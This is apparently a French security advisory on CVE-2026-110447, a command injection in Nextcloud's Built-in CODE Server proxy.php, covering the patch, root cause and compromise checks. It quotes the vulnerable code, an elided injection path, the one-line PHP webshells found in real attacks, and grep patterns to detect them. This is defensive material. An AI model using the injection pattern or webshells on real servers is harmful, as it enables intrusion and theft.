Collabora CODE Server : RCE exploitée en conditions réelles (CVE-2026-110447)

En bref

• L’application « Collabora Online - Built-in CODE Server » pour Nextcloud (package richdocumentscode) exécute un petit proxy PHP, proxy.php, qui lance le serveur Collabora intégré avec une commande shell. Dans les versions antérieures à 26.4.303, l’en-tête Host de la requête et, en HTTPS, son chemin atteignent cette commande d’une manière que escapeshellarg() de PHP ne protège pas. Une requête non authentifiée peut donc exécuter des commandes du système d’exploitation sous l’identité de l’utilisateur du serveur web.
• L’attaque ne fonctionne que lorsque le serveur CODE intégré est arrêté : après le redémarrage d’un conteneur, pendant une mise à jour ou après un plantage. Les serveurs Collabora autonomes, Collabora dans Docker ou dans des packages de distribution, et les déploiements Nextcloud All-in-One ne sont pas affectés.
• Collabora classe la faille comme critique, CVSS v4.0 9.2. Elle est exploitée en conditions réelles : CISA a ajouté CVE-2026-110447 au catalogue Known Exploited Vulnerabilities le 23 octobre 2026, avec une échéance au 26 octobre 2026. Des administrateurs ont signalé des attaques remontant au 10 septembre 2026 qui implantaient des webshells PHP.
• Mettez l’application à jour vers 26.4.303 ou ultérieure, ou supprimez-la si vous ne l’utilisez pas. Collabora précise que la désactiver ne suffit pas.

Suis-je concerné ?

Vous êtes concerné si toutes ces conditions sont réunies :

• Votre Nextcloud possède l’application « Collabora Online - Built-in CODE Server » (package richdocumentscode).
• La version installée est antérieure à 26.4.303.
• Le serveur CODE intégré peut être arrêté : lors d’un redémarrage, d’une mise à jour ou après un plantage. L’application le maintient normalement en fonctionnement, mais c’est précisément pendant cette interruption que l’attaque se déclenche.

Vous n’êtes pas concerné si vous utilisez l’application connecteur distincte richdocuments avec un serveur Collabora externe, un serveur Collabora Online autonome, Collabora depuis Docker ou un package de distribution Linux, un service Collabora hébergé ou Nextcloud All-in-One.

Vérifiez ce qui est installé. La version de l’application se trouve dans son fichier info.xml :

# Installed app version (adjust the path to your Nextcloud root)
grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml

# Is the app present at all? occ checks every app directory, including custom_apps/
sudo -u www-data php occ app:list | grep richdocumentscode

# Container image check
docker run --rm <your-image> grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml

L’image Docker officielle de Nextcloud installe les applications de l’App Store sous custom_apps/ plutôt que sous apps/ : adaptez donc les chemins ci-dessus. Dans l’interface d’administration de Nextcloud, la version apparaît sous Apps, à côté de « Collabora Online - Built-in CODE Server ».

Comment corriger le problème ?

Mettez l’application à jour depuis le Nextcloud App Store, dans l’interface d’administration sous Apps, ou avec la commande occ (exécutée sous l’identité de l’utilisateur du serveur web) :

sudo -u www-data php occ app:update richdocumentscode

L’App Store distribue 26.4.502 sur le canal stable pour Nextcloud 30 à 35. Toute version supérieure ou égale à 26.4.303 contient le correctif.

Si vous utilisez un Nextcloud en fin de vie (29 ou antérieur), la version proposée par l’App Store pour ces versions, 26.4.104, est antérieure au correctif. Dans ce cas, Collabora demande de mettre Nextcloud à jour vers une version prise en charge puis de mettre l’application à jour, ou de supprimer l’application. La supprimer est le bon choix si vous n’utilisez pas le serveur intégré.

Deux mesures ne fonctionnent pas comme atténuation :

• Désactiver l’application. Le bulletin de Collabora le dit explicitement : « Désactiver l’application ne suffit pas pour éviter le problème ; elle doit être mise à jour vers >= 26.4.303 ou supprimée. » La raison est que proxy.php est un script autonome que le serveur web exécute directement. Il ne charge pas le framework Nextcloud, ne vérifie donc jamais si l’application est activée, et reste accessible en HTTP tant que le fichier se trouve sur disque.
• Maintenir le serveur CODE en fonctionnement. Il s’arrête à chaque redémarrage, mise à jour ou plantage, et ces interruptions constituent la fenêtre d’attaque.

Quelle est la cause racine ?

L’injection de commandes du système d’exploitation signifie qu’une entrée contrôlée par l’attaquant atteint une commande shell et modifie ce que le shell exécute. Le point d’injection est la fonction startCoolwsd() dans proxy.php.

L’application Built-in CODE Server fournit Collabora sous forme d’AppImage et le démarre à la demande. Lorsqu’une requête arrive alors que le service Collabora local n’est pas en cours d’exécution, proxy.php construit une commande de lancement qui contient l’en-tête Host de la requête et, en HTTPS, son chemin :

// proxy.php, startCoolwsd(), release 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
    $remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
    $remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);

Ligne par ligne :

• $_SERVER['HTTP_HOST'] est l’en-tête Host de la requête entrante, entièrement contrôlé par l’attaquant.
• $_SERVER['REQUEST_URI'] est le chemin et la chaîne de requête, également contrôlés par l’attaquant. Pour les requêtes HTTPS, cette valeur est placée dans $remoteFontConfig. C’est le vecteur observé dans les attaques réelles : les requêtes du signalement de webshell placent la syntaxe shell dans le chemin, comme dans /x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status.
• escapeshellarg() entoure chaque valeur de guillemets simples. Cela protège une valeur utilisée comme un seul argument dans une seule commande shell.
• Le résultat est interpolé dans $launchCmd, une chaîne entre guillemets doubles contenant bash -c "( ... )".
• exec($launchCmd) transmet toute la ligne au shell du système d’exploitation.

La faille vient de la seconde couche de shell. À l’intérieur du segment bash -c "..." entre guillemets doubles, les guillemets simples ajoutés par escapeshellarg() sont des caractères littéraux sans effet de protection. Le segment est de nouveau analysé par un shell lorsque le shell externe construit l’argument de bash. Un en-tête Host contenant une syntaxe shell, comme une substitution de commande, survit aux guillemets simples et est interprété lors de cette seconde analyse. Une protection choisie pour un contexte à un seul shell a été réutilisée dans un contexte à deux shells.

Le correctif de 26.4.303 protège l’intégralité de la commande interne au lieu de supposer que la protection de chaque valeur survivra :

 // proxy.php, startCoolwsd(), release 26.4.303
-    $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
+    $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+    $launchCmd = "bash -c " . escapeshellarg($innerCmd);

Désormais, bash -c reçoit tout le script de lancement comme un argument unique correctement protégé, et rien à l’intérieur, y compris les valeurs de l’en-tête Host et du chemin de requête, n’est réinterprété par un shell externe.

Le bulletin précise qu’il ne s’agit pas du même chemin que CVE-2025-66208 et que le correctif de cette faille antérieure n’empêche pas celle-ci.

Comment la faille est-elle exploitée ?

Aucune preuve de concept n’est jointe au bulletin, mais le chemin d’exploitation est court, et des signalements d’administrateurs décrivent son utilisation depuis la mi-septembre 2026 :

1. La requête de l’attaquant atteint proxy.php. Le script accepte une requête status et une requête req=, sans authentification ; c’est le point d’entrée de l’application pour transmettre les requêtes au serveur Collabora intégré.
2. Le serveur CODE intégré est arrêté : le conteneur vient de redémarrer, une mise à jour est en cours ou le serveur a planté. proxy.php ne peut pas ouvrir son socket local et appelle donc startCoolwsd().
3. L’entrée de l’attaquant, une syntaxe shell dans le chemin de requête (comme dans les attaques réelles signalées) ou dans l’en-tête Host, passe par escapeshellarg() puis dans la chaîne bash -c entre guillemets doubles de la commande de lancement.
4. exec($launchCmd) fait exécuter la ligne par le shell système. Le segment entre guillemets doubles est de nouveau analysé, la syntaxe shell de l’en-tête s’exécute et la commande tourne sous l’identité de l’utilisateur du serveur web, généralement www-data.
5. Avec cette exécution de commandes, l’attaquant écrit un webshell PHP dans le répertoire de l’application, servi par le même serveur web. Les requêtes suivantes ressemblent alors à du trafic PHP ordinaire.

Déroulement de l’attaque

La vérification manquante se situe entre D et E : rien ne protège à nouveau la valeur de l’en-tête Host ou du chemin de requête pour la seconde couche de shell.

Que peut faire un attaquant ?

Exécuter des commandes sous l’identité de l’utilisateur du serveur web sur l’hôte Nextcloud. Les signalements d’administrateurs recueillis par BleepingComputer décrivent des attaquants utilisant cet accès pour rechercher des bases de mots de passe, des artefacts de gestionnaires de mots de passe et des portefeuilles de cryptomonnaies, et implanter des webshells PHP pour persister. Certains utilisateurs ont signalé une activité de ransomware, que BleepingComputer n’a pas pu confirmer indépendamment.

Les conditions nécessaires à l’attaque, toutes courantes :

• L’application est installée et sa version est antérieure à 26.4.303.
• Le serveur CODE intégré est arrêté à cet instant.
• proxy.php est accessible sur le réseau. Le vecteur CVSS v4.0 est AV:N/AC:L/AT:P/PR:N/UI:N, sans privilège ni interaction utilisateur ; des conditions d’attaque sont présentes précisément parce que l’interruption du serveur est nécessaire.

Les attaquants n’ont pas besoin de compte Nextcloud. L’entrée CISA KEV fixe l’échéance pour les agences fédérales au 26 octobre 2026, indique que l’utilisation de ransomware est inconnue et exige un triage forensique conformément à BOD 26-04.

Pourquoi le correctif fonctionne-t-il ?

Le correctif, visible dans la comparaison de 26.4.302 à 26.4.303, remplace la protection des valeurs individuelles par celle de l’ensemble de la commande. escapeshellarg($innerCmd) fait du script de lancement un seul argument shell : quels que soient les octets apportés par l’en-tête Host et le chemin de requête, ils restent dans cet argument, et aucun shell externe ne les interprète comme de la syntaxe. Le correctif couvre les deux valeurs contrôlées par l’attaquant : l’en-tête Host dans $lok_allow et l’URL de configuration des polices distantes dans $remoteFontConfig, construite à partir de l’en-tête Host et du chemin de requête (REQUEST_URI). Toutes deux passent dans $innerCmd et sont donc couvertes par la même protection.

Une réserve demeure : l’application lance toujours un binaire volumineux avec exec() depuis une requête web. Cette conception explique l’importance du bug, mais la protection corrigée supprime l’influence de l’attaquant sur la commande.

Comment vérifier si j’ai été compromis ?

Collabora et CISA n’ont publié aucun indicateur de compromission au-delà des signalements d’attaques dans la presse et les forums. D’après ces signalements :

• Recherchez des fichiers PHP inattendus dans le répertoire de l’application. Le signalement de webshell dans le suivi des incidents richdocumentscode cite des fichiers nommés shx*.php et shrf*.php (par exemple shxa35d0.php et shrf4645.php) contenant <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. La vérification d’intégrité Nextcloud d’un administrateur a signalé un fichier supplémentaire, Nx_33143.php, dans apps/richdocumentscode/, contenant un webshell en une ligne : <?php system($_GET[c]);. Lancez la vérification d’intégrité dans les paramètres d’administration, ou examinez directement le dossier de l’application :

# Unexpected PHP files in the app folder (apps/ or custom_apps/)
find apps/richdocumentscode custom_apps/richdocumentscode -name '*.php' 2>/dev/null | sort

# The reported webshell file names
find apps/richdocumentscode custom_apps/richdocumentscode \( -name 'sh*.php' -o -name 'Nx_*.php' \) 2>/dev/null

# The reported webshell patterns
grep -rlE 'system\(\$_GET|shell_exec\(' apps/richdocumentscode/ custom_apps/richdocumentscode/ 2>/dev/null

• Examinez les journaux d’accès du serveur web depuis le 10 septembre 2026, la première date des signalements d’administrateurs, pour rechercher les requêtes vers proxy.php, notamment proxy.php?status, celles dont le chemin contient une syntaxe shell telle que $( (les attaques signalées utilisaient des chemins comme /x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?status), et celles dont la valeur de l’en-tête Host n’est pas votre domaine.
• Considérez comme exposés les secrets lisibles par l’utilisateur du serveur web : le mot de passe de base de données dans config.php, les mots de passe d’application et tout ce qui se trouve dans les répertoires de données accessibles. Renouvelez-les.

Chronologie

• 9 septembre 2026 : Collabora enregistre le correctif.
• 10 septembre 2026 : premières traces d’attaque dans les signalements d’administrateurs.
• 11 septembre 2026 : richdocumentscode 26.4.303 est publié, selon son journal des modifications.
• 3 octobre 2026 : un avertissement communautaire sur l’exploitation en cours est publié sur le forum Nextcloud.
• 14 octobre 2026 : Collabora publie le bulletin GHSA-g3vx-3m76-fghh et CVE-2026-110447 est publiée. La même faille est également suivie sous GHSA-F97P-R72Q-64H2 pour le package richdocumentscode.
• 15 octobre 2026 : BleepingComputer rapporte les attaques et le délai d’un mois entre le correctif et le bulletin.
• 23 octobre 2026 : CISA ajoute CVE-2026-110447 au catalogue KEV, avec une échéance au 26 octobre 2026.
• 24 octobre 2026 : publication de cet article. L’exploitation réelle est confirmée par l’inscription au catalogue KEV.

FAQ

Le serveur Collabora distinct ou l’application richdocuments sont-ils affectés ?

Non. La faille se trouve dans proxy.php de l’application Built-in CODE Server, dont le rôle est de démarrer l’AppImage embarquée. Les serveurs Collabora Online autonomes, Collabora dans Docker ou dans des packages de distribution, les services Collabora hébergés et les déploiements Nextcloud All-in-One ne sont pas affectés.

J’ai désactivé l’application. Suis-je protégé ?

Non. Le bulletin de Collabora est explicite : désactiver l’application ne suffit pas. Il faut la mettre à jour vers 26.4.303 ou ultérieure, ou la supprimer. Mettez-la à jour ou supprimez-la.

S’agit-il de la même faille que CVE-2025-66208 ?

Non. Le bulletin précise qu’il ne s’agit pas du même chemin que CVE-2025-66208 et que son correctif n’empêche pas cette nouvelle faille. Le correctif 26.4.303 est nécessaire, que vous ayez appliqué ou non le précédent.

Pourquoi la CVE a-t-elle mis un mois à apparaître ?

Le correctif a été livré le 11 septembre 2026, et le bulletin ainsi que la CVE ont été publiés le 14 octobre 2026. Collabora a attribué le délai principalement à l’engorgement du traitement des CVE chez GitHub, soumis à un volume croissant de signalements de sécurité issus de l’IA ; Nextcloud a indiqué que cet intervalle laissait aux utilisateurs le temps de mettre à jour. Les attaquants n’ont pas attendu : les signalements d’administrateurs décrivent des attaques dès le 10 septembre.

Mon instance utilise un Nextcloud en fin de vie. Que faire ?

La version de l’App Store pour Nextcloud 29 et antérieurs, 26.4.104, est antérieure au correctif. Mettre l’application à jour sur ces versions ne résout donc pas le problème. Mettez Nextcloud à jour vers une version prise en charge, puis l’application, ou supprimez entièrement celle-ci.

Comment confirmer que l’application utilise la version corrigée ?

Vérifiez que apps/richdocumentscode/appinfo/info.xml indique une version supérieure ou égale à 26.4.303, ou consultez la version dans l’écran Apps de l’interface d’administration. La version stable actuelle pour les versions Nextcloud prises en charge est 26.4.502.

Utilisez Ostorlab pour scanner vos actifs web et identifier les versions Nextcloud et Collabora qu’ils exposent, y compris les instances qui utilisent encore l’application affectée.

Références

• Bulletin Collabora GHSA-g3vx-3m76-fghh : https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh (consulté le 24 octobre 2026)
• Entrée du catalogue CISA KEV pour CVE-2026-110447, ajoutée le 23 octobre 2026, échéance le 26 octobre 2026 : https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consultée le 24 octobre 2026)
• Diff du correctif, richdocumentscode de 26.4.302 à 26.4.303 : https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 (consulté le 24 octobre 2026)
• proxy.php vulnérable au tag 26.4.302 : https://raw.githubusercontent.com/CollaboraOnline/richdocumentscode/26.4.302/proxy.php (consulté le 24 octobre 2026)
• BleepingComputer, « Hackers exploit Collabora RCE flaw to backdoor Nextcloud servers », 15 octobre 2026 : https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/ (consulté le 24 octobre 2026)
• Avertissement sur le forum Nextcloud avec le signalement de webshell : https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 (consulté le 24 octobre 2026)
• Signalement de webshell : https://github.com/CollaboraOnline/richdocumentscode/issues/354 (consulté le 24 octobre 2026)
• Fiche CVE-2026-110447 : https://nvd.nist.gov/vuln/detail/CVE-2026-110447 (consultée le 24 octobre 2026)
• Page du Nextcloud App Store pour richdocumentscode : https://apps.nextcloud.com/apps/richdocumentscode (consultée le 24 octobre 2026)